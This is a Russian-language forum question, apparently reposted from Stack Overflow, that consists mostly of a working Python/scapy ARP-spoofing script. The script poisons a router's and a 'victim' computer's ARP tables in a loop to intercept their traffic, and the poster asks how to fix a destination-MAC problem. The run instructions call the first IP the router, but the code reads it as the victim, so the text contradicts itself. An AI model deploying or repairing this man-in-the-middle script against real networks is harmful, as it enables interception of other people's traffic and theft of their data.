Вы запускаете программу следующим образом: sudo python3 arpSpoof.py 192.168.1.1 192.168.1.101
Первый IP-адрес принадлежит маршрутизатору, а второй — компьютеру-жертве.
Это код:
Код: Выделить всё
import sys
from scapy.all import *
def arp_spoof (dest_ip, dest_mac, source_ip):
packet = ARP(op="is-at", psrc= source_ip, hwdst=dest_mac, pdst=dest_ip )
send(packet, verbose=False)
def arp_restore (dest_ip, dest_mac, source_ip, source_mac):
packet = ARP(op="is-at", hwsrc=source_mac, psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
send(packet, verbose=False)
def main():
victim_ip = sys.argv[1]
print(victim_ip)
router_ip = sys.argv[2]
print(router_ip)
victim_mac = getmacbyip(victim_ip)
router_mac = getmacbyip(router_ip)
try:
print("Sending spoofed ARP packets")
while True:
arp_spoof(victim_ip, victim_mac, router_ip)
arp_spoof(router_ip, router_mac, victim_ip)
except KeyboardInterrupt:
print("Restoring ARP Tables")
arp_restore(router_ip, router_mac, victim_ip, victim_mac)
arp_restore(victim_ip, victim_mac, router_ip, router_mac)
quit()
main()
Но я указываю назначение MAC-адреса (hwdest)
Как мне исправить код?
Спасибо
Подробнее здесь: https://stackoverflow.com/questions/787 ... estination